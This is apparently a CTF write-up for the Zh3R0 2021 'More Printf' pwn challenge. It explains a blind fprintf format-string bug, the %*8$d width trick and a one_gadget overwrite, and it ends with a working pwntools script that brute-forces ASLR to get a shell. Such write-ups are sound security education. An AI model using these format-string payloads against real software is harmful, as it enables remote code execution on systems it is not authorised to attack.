ViolentTestPen My CTF Writeups

Zh3R0 CTF 2021

Pwn: More Printf

Source

/* gcc -o more-printf -fstack-protector-all more-printf.c */
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

FILE *fp;
char *buffer;
uint64_t i = 0x8d9e7e558877;

_Noreturn main() {
  /* Just to save some of your time */
  uint64_t *p;
  p = &p;

  /* Chall */
  setbuf(stdin, 0);
  buffer = (char *)malloc(0x20 + 1);
  fp = fopen("/dev/null", "wb");
  fgets(buffer, 0x1f, stdin);
  if (i != 0x8d9e7e558877) {
    _exit(1337);
  } else {
    i = 1337;
    fprintf(fp, buffer);
    _exit(1);
  }
}

We have a unique Format String bug in the software using fprintf. As all output is written to /dev/null, this is essentially a blind attack. In addition, there exists a “canary” variable i that is overwritten before our fprintf, which prevents us from simply returning to the main function to read in another input. However, returning after the if/else check meant that we’re unable to change our format string buffer. This effectively meant that we have to get a shell with our first try in what I would call a “speak now or forever hold your peace” scenario.

To have a look at what our stack look like before the format string attack is executed, we can simply issue a breakpoint before the _IO_vprintf_internal is called using b *fprintf+143.

This is what the stack looked like for me:

GEF Telescope 40 Before FSB

We can redirect the output to stdout using set $rdi = _IO_stdout. After that, stepping over the function call will leak address to our terminal which reveals that the first 10 address leaks using multiple %p refers to addresses at:

  • +0x0030 [Our format string in the heap]
  • +0x0038 [Address in glibc for __GI__libc_read+17]
  • +0x0040
  • +0x0048
  • +0x00e0 [The p = &p instruction since the value points to itself]
  • +0x00e8
  • +0x00f0 [Address for __libc_csu_init]
  • +0x00f8 [Address for __libc_start_main+231]
  • +0x0100
  • +0x0108 [Address on the stack]

What’s interesting is the address at +0x0038 which is the address for __GI__libc_read+17. We can confirm this in GDB:

GEF __GI__libc_read+17

My intuition tells me that this is roughly the call graph:

fprintf()
  \_ calls _IO_vprintf_internal()
    \_ calls _GI_libc_read() (To parse the format string)

As it is an address in libc, if we’re able to overwrite the lower half of the address with the location of one_gadget, we would have succeed in getting a shell without the need to leak libc addresses in one try. Sounds like a plan. But how are we supposed to obtain the location of one_gadget affected by ASLR? This is where the 8th stack position (__libc_start_main+231) comes into play. As __libc_start_main+231 is accessible to us, we can simply load its value for use in our format string. Behold, the format specifier width field %*d. According to the definition in Wikipedia,

The Width field specifies a minimum number of characters to output, and is typically used to pad fixed-width fields in tabulated output, where the fields would otherwise be smaller, although it does not cause truncation of oversized fields.

The width field may be omitted, or a numeric integer value, or a dynamic value when passed as another argument when indicated by an asterisk *. For example, printf("%*d", 5, 10) will result in ` 10` being printed, with a total width of 5 characters.

This is great and all, but what makes it interesting is the fact that you can simply use values in other stack positions. This means in our case, %*8$d has the same effect as %140737347861495d (0x7ffff7a03bf7 = 140737347861495). With that, all that’s left between us and victory are some basic arithmetic and a little bit of RNG luck.

GEF vmmap

Looking at the memory map, we learn that the base address of libc is 0x7ffff79e2000.

one_gadget libc-2.27.so

Looking at the one gadgets available, we select the first gadget at 0x4f3d5 as it has the easiest constraints amongst them. This brings our effective one gadget address to be 0x7ffff79e2000 + 0x4f3d5 = 0x7fff08629be7.

Now that we have all the addresses we need, it’s time to construct our format string payload. We’ll kindly make use of the p = &p instruction that’s available at address 0x7fffffffe3b0 (5th stack position) that’s referencing itself to point to 0x7fffffffe308 (2nd stack position). Afterwards, any writes to the 5th stack position will effectively overwrite the value at the 2nd stack position. As the $ positional argument in the format will copy the stack to an internal buffer, we should use it sparingly.

There are 3 modes of %n writes: %n which overwrites 8 bytes, %hn which overwrites 4 bytes, and hhn which overwrites 2 bytes. Taking ASLR into account, we’ll use %hhn to keep our write small and overwrite the last 2 bytes to 08. This is what we have so far:

%c%c%c%5c%hhn

Next, we need to print some padding the length of the value of __libc_start_main+231. This changes our format string to:

%c%c%c%5c%hhn%*8$d

This will print 8 + 0x7ffff7a03bf7 bytes. To increase the printed bytes up to 0x7fff08629be7, we’ll need to print another 0x7fff08629be7 - 0x7ffff7a03bf7 - 8 = 186326 bytes. Don’t worry if the padding is very long; as we’re simply writing to /dev/null, printing will be relatively quick. Our final format string looks like this:

%c%c%c%5c%hhn%*8$d%186326c%5$n

This is what the stack looks like after the format string has ran:

GEF Telescope 40 After FSB

Note that we’re using %n in our 2nd write, and since only the last 3 nibbles of an address is deterministic, it’s up to the power of RNG to help us since our debugging environment has ASLR turned off for purposes of developing the exploit. Luckily, it’s only 1 in 32 chance according to the challenge author which can be bruteforced quickly on a modern computer.

Flag

Takeaways

  • Using %*d to use another libc address then adding a static offset to one gadget overcomes the lack of any output for leaking libc addresses.

Exploit

#!/usr/bin/env python3

from pwn import *

num_of_tries = 0
context.log_level = 'error'
while True:
    try:
        if args.REMOTE:
            io = remote('pwn.zh3r0.cf', 2222)
        else:
            elf = context.binary = ELF('./more-printf')
            io = elf.process()

        num_of_tries += 1

        io.sendline('%c%c%c%5c%hhn%*8$d%186326c%5$n')
        io.sendline('cat flag')
        io.unrecv(io.recvn(1, timeout=3))

        print(f"Got shell after {num_of_tries} tries")
        io.interactive()
    except EOFError:
        pass